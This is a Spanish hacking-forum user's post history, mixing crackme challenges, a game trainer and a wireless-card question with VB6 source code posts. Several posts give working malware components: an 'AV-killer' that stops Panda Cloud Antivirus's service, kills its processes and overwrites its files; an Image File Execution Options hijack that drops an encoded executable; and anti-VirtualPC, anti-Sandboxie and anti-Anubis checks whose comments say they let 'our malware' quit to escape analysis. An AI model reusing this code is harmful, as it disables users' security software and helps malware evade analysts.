|
41
|
Programación / Ingeniería Inversa / Crackme ¿Eres capaz de resolverlo?
|
en: 16 Enero 2013, 18:10 pm
|
Bueno, os dejo un pequeño crackme que he creado especialmente para el foro, opino que es muy sencillito, dificultad 2/10Os dejo algo de información: * Programado en VB6* Está empaquetado* He programado una rutina casera para evitar el debugg* He programado un sistema casero para obfuscar las string's * Hay código trampa escrito ( trap-code) Hay dos formas de solventar el crackme: * Encontrar el serial correcto * Parchear el ejecutable para que funcione con cualquier serial Los 2 métodos son correctos, si puedes, intenta conseguir los 2 métodos Utiliza éste hilo para preguntar dudas si estás atascado DESCARGAR: http://www.mediafire.com/?ov4xqo4orqjr24e
|
|
|
42
|
Programación / Programación Visual Basic / Programar un Trainer en VB6 (GUI profesional)
|
en: 13 Enero 2013, 00:03 am
|
Bueno, aqui os dejo mi ultima creación, es un Trainer para un juego. Requiere tener instalado Cheat Engine 6.2 en el sistema ( www.cheatengine.org ) Lo importante de aquí es la GUI, está programada en VisualBasic 6, tiene los siguientes efectos: -- FadeIn Effect -- Musica (hay 5 canciones distintas, suena una random cada vez que se ejecuta) -- Efecto arco.iris en el fondo del formulario -- Hay un formulario con la forma de MegaMan que se mueve -- El boton [?] muestra un colorido efecto scrolltext vertical -- El botón [nfo] muestra un efecto para ficheros NFO Si no tenéis instalado el Cheat Engine, aparece un error, pero el trainer se sigue ejecutando para que podáis apreciar la GUI y los efectos. Si veo que el hilo tiene buena acogida postearé el source code. DESCARGAR TRAINER: http://www.mediafire.com/?e6ihbhrfanohkc6 Thread Original: http://forum.cheatengine.org/viewtopic.php?t=561278Desactiva Windows UAC o ejecuta el trainer como ADMINISTRADORSaludos!!
|
|
|
43
|
Seguridad Informática / Wireless en Linux / RT2500 vs ipw2200 (y otras dudas que tengo...)
|
en: 2 Septiembre 2010, 16:07 pm
|
Hola a todos, llevo un tiempo mirando y leyendo ésta sección del foro orientado a la auditoría wireless y tengo un par de dudas que espero alguien me pueda resolver: Actualmente dispongo de un equipo portátil para "batallas", al cual he instalado el WifiWay 1.0 final en el propio HDD, así como algunos módulos actualizados para disponer de las últimas versiones de todas sus herramientas. Aquí viene mi primera duda: Actualmente el portatil viene equipado con esa tarjeta (Ralink RT2500), el WifiWay me la detecta correctamente, puedo ponerla en modo monitor e inyectar. Como tengo la suerte de trabajar de informático en mi empresa, he podido desmantelar otro equipo portátil y extraer su tarjeta wifi para mi uso personal (una Intel ipw2200)Puedo instalar cualquiera de las 2 tarjetas en mi portatil, y al arrancar el WifiWay me las detecta sin problemas... aquí vienen mis preguntas: 1) Que tarjeta me recomendáis que deje instalada? Cual de las 2 es mejor para auditar e inyectar? He oído que para las ipw2200 se necesita un airoscript diferente, etc.... ¿Si vosotros pudierais escoger una de esas 2 tarjetas para vuestro uso, cual es quedariais? 2) Actualmente mi versión de WifiWay 1.0 que tengo instalado en el HDD viene con el aircrack-ng versión 0.7 (creo). Soy consciente que ha salido la versión 1.0 RC4 y la 1.1... Me recomendáis que actualice el módulo de aircark-ng que viene en el propio WifiWay? De ser así.. que versión me recomendáis? 3) En el caso de que alguien me recomiende actualizar... ¿Las herramientas que dependel del aircrack-ng (como por ejemplo el airoscript) me seguirán funcionando con la versión actualizada del aircrack-ng? En principio esas son mis 3 dudas que tengo. Por lo demás voy avanzando en mis auditorias. Tengo las herramientas de WLANdecrypter y jazzteldecrypter actualizadas a la 1.3.1 y 2 (respectivamente), ya que son las que más utilizo. Por otra parte estoy abierto a sujerencias de nuevas herramientas que me puedan venir bien para esos 2 chipsets de los que dispongo. He leído mucho ya por el foro, pero algunos tutorial que leo son algo antiguos y hablan de programas o procesos desfasados por completo, es por eso que me he animado a abrir éste thread para conseguir información actual. Gracias
|
|
|
44
|
Seguridad Informática / Abril negro / Prueba de concepto - Anti Cloud Antivirus (Panda)
|
en: 5 Mayo 2009, 23:27 pm
|
Bueno, primero quiero aclarar que este programa/source no entra dentro del "concurso de desarrollo de malware de Abril Negro 2009". Pero sí entra dentro del boletín para Abril Negro 2009, como prueba de concepto...Anti Cloud Antivirus by MadAntrax He diseñado una simple función que aprovecha los comandos típicos de Windows (taskkill, net, etc...) y los he aplicado en forma de bucles FOR y Sleep's para generar un AV-Killer genérico. En éste caso lo he diseñado para el nuevo Cloud Antivirus de Panda Que es Cloud Antivirus?Es el nuevo antivirus gratuito desarrollado por Panda, usando un método de programación que evita sobrecargar la CPU del usuario (Cloud Computing). He analizado el AV y he decidido crear un AV Killer para "matar" el nuevo producto de Panda. :http://www.cloudantivirus.com/default.aspx?lang=spa :http://es.wikipedia.org/wiki/Computaci%C3%B3n_en_nube El source del programa es el siguiente: modAntiCloudAV.basPrivate Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Function StopService(ByVal sName As String) As Boolean On Error Resume Next Dim i As Integer For i = 1 To 3 Shell "net stop " & sName, vbHide Sleep 250 Next i Sleep 1000 DoEvents StopService = True End Function Function DestroyFile(ByVal sFileName As String, ByVal sFilePath As String) As Boolean On Error Resume Next Dim i As Integer For i = 1 To 3 Shell "taskkill /F /IM " & sFileName, vbHide Sleep 250 Next i Sleep 1000 DoEvents For i = 1 To 3 Open sFilePath For Output As #1 Print #1, "destroyed!" Close #1 Sleep 10 Next i DoEvents DestroyFile = True End Function
Éste código es genérico para la mayoría de Antivirus que basan su "protección" en servicios. Éste ejemplo no es válido para los Antivirus que basan su "protección" en drivers o hooks (Kaspersky, etc...). Para usar el módulo y matar CloudAV se utiliza así: Private Sub CommandXP1_Click() On Error Resume Next Dim WShell As Object Dim CloudPath As String CommandXP1.Enabled = False Set WShell = CreateObject("WScript.Shell") CloudPath = WShell.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Panda Security\Nano Av\Setup\Path") Set WShell = Nothing If CloudPath = "" Then MsgBox "No se ha encontrado Cloud Antivirus instalado en el sistema", vbExclamation, "Anti-CloudAV" Else StopService "NanoServiceMain" DoEvents DestroyFile "PSUNMain.exe", CloudPath & "PSUNMain.exe" DoEvents DestroyFile "PSANHost.exe", CloudPath & "PSANHost.exe" DoEvents DestroyFile "PSANToManager.exe", CloudPath & "PSANToManager.exe" DoEvents 'CloudAV destroyed MsgBox "Proceso finalizado correctamente, comprueba si tu CloudAV sigue funcionando", vbInformation, "Anti-CloudAV" End If CommandXP1.Enabled = True End Sub
El source es mejorable, se puede modificar para que no haga tantos bucles ni tantos sleep's y mejorar la rápidez. Pero como es una prueba de concepto... prefiero dejarlo así para evitar posibles copy&paste de noob's. Los que quieran usar ésta técnica tendrán la oportunidad de programarse correctamente un modulo más eficiente (evitar usar el objecto WScript, no usar Shell, cifrar las String's, control de errores, etc...) LINK DE DESCARGA: antiCloudAV (Fichero Compilado + Source en VB6) Saludos.
|
|
|
45
|
Programación / Programación Visual Basic / [Source] - iFEO.exe bug (Image File Execution Options)
|
en: 25 Marzo 2009, 15:51 pm
|
Aquí dejo el source completo del programa iFEO.exe del que he hablado en este post original: [Método] - iFEO bug (Image File Execution Options)Aquí esta el source del programa, el módulo principal: Function DropDummy(ByVal ThePath As String) As Boolean On Error Resume Next File = "" File = File & "4D5A0000504500004C0101006A2A58C3z8z040003010B01080001" File = File & "000080z4z79z3z0Cz3z79z3z0Cz5z400004z3z04z3z74z3z20z3z" File = File & "04z7z0401000088z7z02z19z4B45524E454C33322E646C6Cz4z38" i = 1 Tmp = "" While i <= Len(File) If Mid(File, i, 1) = "z" Then a = i + 1 k = 0 While Mid(File, a, 1) <> "z" k = k * 10 + Mid(File, a, 1) a = a + 1 Wend i = a + 1 For a = 1 To k Tmp = Tmp + "00" Next ElseIf Mid(File, i, 1) <> "z" Then Tmp = Tmp & Mid(File, i, 2) i = i + 2 End If Wend Set hFSO = CreateObject("Scripting.FileSystemObject") Set hFile = hFSO.CreateTextFile(ThePath, ForWriting) i = 1 While i < Len(Tmp) File = Int("&H" & Mid(Tmp, i, 2)) hFile.Write (Chr(File)) i = i + 2 Wend hFile.Close DoEvents DropDummy = True End Function Function AddFileName(ByVal fName As String, ByVal DummyFile As String) On Error Resume Next Set WShell = CreateObject("WScript.Shell") WShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\" & fName & "\Debugger", Chr(34) & UCase(DummyFile) & Chr(34) End Function Function DelFileName(ByVal fName As String) On Error Resume Next Set WShell = CreateObject("WScript.Shell") WShell.RegDelete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\" & fName & "\Debugger" End Function
Y su descarga completa: http://cactus-software.elhacker.net/iFEO Bug.zipSaludos!!
|
|
|
46
|
Programación / Ingeniería Inversa / MadCrack: CrackMe v2 by MadAntrax (en desarrollo...)
|
en: 4 Septiembre 2008, 22:58 pm
|
MadCrack v2 (actualmente en desarrollo)Última actualización: 04/09/08Actualmente no se puede descargar este crackme, sed pacientes...Bueno, aquí mi segunda versión (y posiblemente la última) de crackme's. Voy a dejar este post bloqueado y pegado, ya que diariamente iré completándolo poco a poco, subiendo más información e imágenes. Cuando lo tenga terminado lo desbloquearé y subiré el ejecutable para que os divirtáis un poco... Información del CrackMeEn realidad no es el típico crackme al que estáis acostumbrados, este es del tipo Multi-Crackme, implementa las funciones de protección más comunes y otras funciones home-made (caseras, programadas por mí), entre las pruebas que hay que superar se encuentran las siguientes: - Nag-Screen
- CheckBox Hive (home-made)
- Push the CrazyButton (home-made)
- Username & Password (el típico)
- KeyFile (with CRC32 validation)
- Number Hive (home-made)
¿Como está protegido?Cada prueba puede ser superada de varias formas, algunas parcheando y otras no. Para poner las cosas más interesantes se han incluido 15 rutinas para proteger el crackme y evitar ser debuggeado, estas son: - Using a Loader
- InstallASM_Thread()
- BinaryFile Metamorphed
- BinaryFile Packed with ¿...?
- OutputDebugStringA()
- GetTickCount
- IsDebuggerPresent
- Más protección que no puedo contar
- ¿...?
Como está programado?Bien, como en todas mis aplicaciones, sólo programo en VB6. Pero he querido hacer algo nuevo y divertido. He programado el crackme por módulos, cada módulo está dentro de un proyecto por separado, programado como DLL ActiveX (es decir, con extensión *.dll real). Algunas funciones y protecciones son llamadas a través de estas librerías que yo mismo he programado, así parece un entorno más real y divertido ¿no? Encontraréis algunos ejecutables compilados bajo VB6 P-Code, otros como EXE ActiveX, otros como DLL ActiveX y otros como un simple VB6 native (el típico). Para finalizar, algunos módulos crean RemoteThreads e inyectan en ellos funciones directamente en ASM, que se encargan de proteger al crackme y hacer otras comprobaciones (esto pone las cosas más difíciles al debugger) Bueno, a medida que vaya avanzando publicaré mas cosas, de momento os dejo unos screen-shoots: La Nag-Screen:El CheckBox Hive (buenísimo):El CrazyButton: El típico User & Pass:
Bueno, lo dicho. Se aceptan sugerencias, mejoras, ideas... Me gustaría dejar un crackme bien completo para que cada uno pueda aprender a saltarse los distintos tipos de protecciones más conocidos (nag's, keyfiles, user & pass, hives array's, etc...) Actualmente no se puede descargar este crackme, sed pacientes...Saludos!! MadAntrax
|
|
|
47
|
Programación / Ingeniería Inversa / MadCrack: CrackMe v1 by MadAntrax
|
en: 30 Agosto 2008, 04:33 am
|
Hola a todos, éste es mi primer mensaje en este foro... varios usuarios me comentaron por privado: "tú sabes programar bastante, seguro que tus crackme's son complicados..." así que con éste comentario decidí programar mi primer crackme para vosotros: Programado en VB6Ejecutable empacado (se escribe así, no?) Ejecutable protegido: Tiene 2 métodos de protección anti-debug Dificultad: fácil------------------------------ Este crackme es del tipo: KeyFile-crackme. Necesitas crear un fichero en la misma raíz del crackme para registrarlo. Es parecido al método que Kaspersky utiliza con su keyfile, pero en éste caso el keyfile sólo tiene que estar en la misma carpeta del ejecutable. Hay 2 formas para completar este crackme Método 1: Parchear el ejecutable para que acepte cualquier keyfile (o sencillamente hacerlo funcionar sin keyfile) Método 2: Encontrar el KeyFile correcto, sin parchear ni modificar el ejecutable Evidentemente, el segundo método tiene más mérito, los usuarios que completen éste crackme pondré su nick al final y pondré si lo han resuelto por el método 1, 2 o los dos. Usuarios que lo han resuelto:- karmany: Método 2 -> Lo ha resuelto sin parchear el ejecutable!!
El crackme está adjunto al final de este primer mensaje, sólo visible a los usuarios registrados
|
|
|
48
|
Programación / Programación Visual Basic / [Source] IsVirtualPCPresent() - Sistema AntiVirtualPC
|
en: 30 Junio 2008, 21:34 pm
|
Tatatachan!!... aquí vuelvo con mi tercera función para los "anti's" en VB6, en este caso me he metido con la máquina virtual de Microsoft: VirtualPC 2007 Este método me gusta bastante porque es el primero que ha sido desarrollado íntegramente por mí, y de momento no he visto nadie que detecte un VirtualPC de la misma forma, empecemos... ¿Que método utilizas para detectar VirtualPC?Revisé los otros sources en C/C++ para ver si me inspiraba, pero utilizaban técnicas algo profesionales para el pobre compilador de VB6, seguramente hay otra manera para detectar VirtualPC con VB6 pero esta es una de las más fáciles: Con la ayuda de los Script WMI, hacemos un volcado de información sobre cada disco duro instalado en el equipo, concretamente buscamos 3 variables: Caption, Model y PNP DeviceID. En un equipo físico obtendremos nombres relativos al fabricante y modelo de nuestro HDD, mientras que en VirtualPC obtendremos nombres parecidos a estos: Virtual HD, IDE\DISKVIRTUAL01_, etc...Así que recopilamos toda la información en una sola variable y buscamos el string: " VIRTUAL" en su interior, hacemos una comparación y ya tenemos nuestro anti-VirtualPC terminado! Ueeee, ahora... ¿me das el source?Aquí está el modulo principal: ''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' Program: Anti-VirtualPC 1.0 ' Coder: MadAntrax ' Web: foro.elhacker.net ' Date: 30/06/08 ' ' Programa que detecta si nuestro malware ' se ejecuta en la máquina virtual: Virtual PC ' permitiendo finalizar el proceso de nuestro ' malware :) ' ' Usar la función IsVirtualPCPresent() As Boolean ' Detecta el nombre, modelo y driver del HD para determinar ' si nos encontramos en VirtualPC ' ' Original idea: MadAntrax ' Referencias: http://www.microsoft.com/technet/scriptcenter/scripts/storage/disks/drives/stdvvb19.mspx?mfr=true ' ''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Function IsVirtualPCPresent() As Boolean Dim DetectVirtualPC As String Set WMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") Set HDS = WMI.ExecQuery("Select * from Win32_DiskDrive") DetectVirtualPC = "" For Each objHDS In HDS DetectVirtualPC = DetectVirtualPC & objHDS.Caption & objHDS.Model & objHDS.PNPDeviceID Next If InStr(UCase(DetectVirtualPC), "VIRTUAL") <> 0 Then IsVirtualPCPresent = True Else IsVirtualPCPresent = False End If End Function
y para llamarlo, podemos usar algo así: Sub Main() If IsVirtualPCPresent = True Then MsgBox "VirtualPC: Detectado" End End If 'Your Code Here End Sub
Saludos!! EDITADO: Parece ser que esta misma función detecta de forma correcta VirtualPC 2007 y VMWare (los 2 software de virtualización más usados). Así que esta función sirve para los 2
|
|
|
49
|
Programación / Programación Visual Basic / [Source] IsSandboxiePresent() - Sistema AntiSanboxie
|
en: 28 Junio 2008, 16:04 pm
|
Bueno, lo prometido es deuda... aquí os deja la función para detectar si nuestro malware se está ejecutando en la Sandbox de Sandboxie: IsSandboxiePresent()¿Que es Sandboxie?Es un software diseñado para ejecutar aplicaciones dentro de un entorno seguro (dentro de una Sandbox). Su funcionamiento consiste en aislar el ejecutable y detectar todos los cambios que realice en el sistema, permitiendo borrarlos con un solo click. Se parece a una máquina virtual, pero más sencillo de usar y configurar, para más info: :http://www.sandboxie.com/ ¿Que método utiliza para detectar Sandboxie?He incluido 2 métodos, uno de ellos programado por steve10120 de hackhound y el otro método (menos efectivo pero mucho más simple) programado por mí. El segundo método requiere que nuestro malware tenga un Form en su interior. El método de steve10120 detecta si se ha cargado el modulo SbieDll.dll dentro de nuestra aplicación, si se encuentra el módulo significa que nuestro malware está dentro de una Sandbox. El otro método comprueba el caption de nuestro Formulario, si detecta la string "[ # ]" significa que nuestra aplicación se encuentra dentro de la Sandbox. Como verás el primer método es más profesional, pero más fácilmente detectable por la heurística al usar una API. El segundo método solo busca una serie de caracteres, esto puede inducir a falsos positivos pero es más sencillo de implementar. Ok, ¿y el source?Aquí os dejo el source completo: ''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' Program: Anti-Sandboxie 1.0 ' Coder: MadAntrax ' Web: foro.elhacker.net ' Date: 28/06/08 ' ' Programa que detecta si nuestro malware ' se ejecuta en la SandBox de Sandboxie, permitiendo ' finalizar el proceso y evitar que inspeccionen nuestro ' malware :) ' ' Usar la función IsSandboxiePresent(byval OptionToCheck As Integer) As Boolean ' Se han añadido 2 métodos de detección para Sandboxie, el primero ' está basado en la idea original de http://hackhound.org ' ' El segundo método esta diseñado integramente por mí ' ''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' ' Ejemplos para usar esta función: ' ' Método 1: ' If IsSandboxiePresent(1) = True Then End ' ' Método 2: ' If IsSandBoxiePresent(2,Form1) = True Then End ' ''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Public Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long Function IsSandBoxiePresent(ByVal OptionToCheck As Integer, Optional MainFrm As Form) As Boolean Select Case OptionToCheck Case 1 'Recomendado Dim hSbie As Long hSbie = GetModuleHandle("SbieDll.dll") If hSbie <> 0 Then IsSandBoxiePresent = True Else IsSandBoxiePresent = False End If Case 2 'No recomendado If InStr(MainFrm.Caption, "[#]") <> 0 Then IsSandBoxiePresent = True Else IsSandBoxiePresent = False End If End Select End Function
Y para llamarlo hay que usar lo siguiente: Sub Main() If IsSandBoxiePresent(1) = True Then End ' Your Code Hare... End Sub
Y si quieres usar el segundo método, de esta forma: Private Sub Form_Load() If IsSandBoxiePresent(2, Form1) = True Then End 'Your Code Here End Sub
Saludos!!
|
|
|
50
|
Programación / Programación Visual Basic / [Source] IsAnubisPresent() - Sistema AntiAnubis SandBox
|
en: 27 Junio 2008, 23:17 pm
|
Aquí vuelvo con una nueva función: IsAnubisPresent(). Dicha función permite de una forma muy rápida saber si nuestra aplicación se está ejecutando dentro de la SandBox de Anubis, permitiendo en tal caso terminar la ejecución del programa y evitar que nuestras funciones sean inspeccionadas por el usuario, pero antes... ¿Que es Anubis?Anubis es un servicio gratuito que permite a un usuario enviar un fichero ejecutable para ser examinado de forma exhaustiva. Anubis es una aplicación con un front-end basado en Web, pero el back-end sigue tratándose de un simple PC con Windows instalado y una SandBox que recopila información de los ficheros enviados. Anubis Web :http://anubis.iseclab.org/ ¿Como funciona IsAnubisPresent()?Bien, como ya se ha explicado, el back-end de este servicio es un Windows completo: con su registro, sus ficheros, sus variables de sistema, etc... mucha de esta información es única (por ejemplo el número de serie del HDD, el número de serie del ID de Windows, etc...) y con una simple comparación podemos saber si nuestro ejecutable esta siendo analizado desde ese Sistema Operativo en concreto Vale, lo entiendo... pero ¿como has adivinado los números de serie del Windows de Anubis?Bueno, la idea no es 100% mía. En internet circula un Source algo extenso y desordenado que recoge la información de una variable del registro para comparar el ProductId, viendo ese source se me ocurrió la idea de programar mi propio: Anubis-Dumper. Este programa recopila dicha información única del Sistema Operativo Windows de Anubis y genera carpetas en la raiz con los valores recopilados, con el único fin de mostrar dichos valores por el propio sistema de análisis de Anubis. Aquí una captura del Anubis-Dumper que me permitió recopilar los datos Una vez que tenemos los valores, solo he tenido que generar una sencilla función que haga las comprobaciones oportunas para detectar si el ejecutable se haya bajo el análisis de Anubis Ole!, dejemonos de royos, donde está el source?Aquí te dejo el source principal: Anti-Anubis''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' Program: Anti-Anubis 1.0 ' Coder: MadAntrax ' Web: foro.elhacker.net ' Date: 27/06/08 ' ' Programa que detecta si nuestro malware ' se ejecuta en la SandBox de Anubis, permitiendo ' finalizar el proceso y evitar que inspeccionen nuestro ' malware :) ' ' Original idea: http://hackhound.org ' ''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Private Declare Function GetVolumeInformation Lib "kernel32.dll" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Integer, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long Function IsAnubisPresent(ByVal OptionToCheck As Integer) As Boolean On Error Resume Next Set WShell = CreateObject("WScript.Shell") Select Case OptionToCheck Case 1 'Recomendado If GetSerialNumber(Environ("SystemDrive") & "\") = "1824245000" Then IsAnubisPresent = True Else IsAnubisPresent = False End If Case 2 'Recomendado If WShell.RedRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId") = "76487-337-8429955-22614" Then IsAnubisPresent = True Else IsAnubisPresent = False End If Case 3 'No recomendado If UCase(App.EXEName) = "SAMPLE" Then IsAnubisPresent = True Else IsAnubisPresent = False End If Case 4 'No recomendado If UCase(Environ("USERNAME")) = "USER" Then IsAnubisPresent = True Else IsAnubisPresent = False End If End Select End Function Public Function GetSerialNumber(DriveLetter As String) As Long Buffer1 = String$(255, Chr$(0)) Buffer2 = String$(255, Chr$(0)) Res = GetVolumeInformation(DriveLetter, Buffer1, Len(Buffer1), SerialNum, 0, 0, Buffer2, Len(Buffer2)) GetSerialNumber = SerialNum End Function
Para ejecutar el programa se recomienda lo siguiente: Sub Main() If Is AnubisPresent(1) = True Then End 'Your Code Here... End Sub
Y por si alguien le interesa, os dejo el Source del Anubis-Dumper, solo hay que compilar el dumper y enviarlo para analizar al propio Anubis, en cuestión de minutos obtendremos las variables preparadas para programar las condiciones para el Anti-Anubis. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' Program: Anubis-Dumper 1.0 ' Coder: MadAntrax ' Web: foro.elhacker.net ' Date: 27/06/08 ' ' Programa que recopila cierta información del sistema ' y genera carpetas en la raíz con el único fin ' de mostrar dicho contenido en la web de Anubis ' ' Original idea: http://hackhound.org ' ''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Private Declare Function GetVolumeInformation Lib "kernel32.dll" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Integer, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long Public Function GetSerialNumber(strDrive As String) As Long Temp1 = String$(255, Chr$(0)) Temp2 = String$(255, Chr$(0)) Res = GetVolumeInformation(strDrive, Temp1, Len(Temp1), SerialNum, 0, 0, Temp2, Len(Temp2)) GetSerialNumber = SerialNum End Function Sub Main() On Error Resume Next Set WShell = CreateObject("WScript.Shell") MkDir GetSerialNumber(Environ("SystemDrive") & "\") MkDir Environ("USERNAME") MkDir App.EXEName AA = WShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId") MkDir AA DoEvents End End Sub
Dejo adjunto un fichero con los 2 sources preparados. Saludos!!
|
|
|
|
|
|
|